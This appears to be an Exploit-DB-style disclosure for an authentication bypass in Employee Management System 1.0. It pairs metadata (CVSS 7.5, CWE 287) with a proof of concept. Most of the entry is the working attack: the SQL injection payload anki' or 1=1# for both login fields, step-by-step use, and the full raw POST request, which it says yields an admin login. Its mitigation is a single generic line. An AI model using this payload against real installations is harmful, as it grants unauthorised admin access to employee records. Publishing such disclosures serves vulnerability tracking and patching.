Employee Management System 1.0 - Authentication Bypass

vendor:

Employee Management System

by:

Ankita Pal

7.5

CVSS

HIGH

Authentication Bypass

287

CWE

Product Name: Employee Management System

Affected Version From: 1.0

Affected Version To: 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sourcecodester:employee_management_system

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 + xampp v3.2.4

2020

Employee Management System 1.0 – Authentication Bypass

An attacker can bypass authentication by using the payload anki' or 1=1# for both username and password in the login page of the application.

Mitigation:

Implement strong authentication mechanisms and use secure password policies.

Source

Exploit-DB raw data:

#Exploit Title: Employee Management System 1.0 - Authentication Bypass
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL http://localhost:8081/Employee%20Management%20System/alogin.html

Step 2: Use payload anki' or 1=1# for both username and password.


Malicious Request:::

POST /Employee%20Management%20System/process/aprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/alogin.html
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1

mailuid=anki%27+or+1%3D1%23&pwd=anki%27+or+1%3D1%23&login-submit=Login

You will be login as Admin of the application.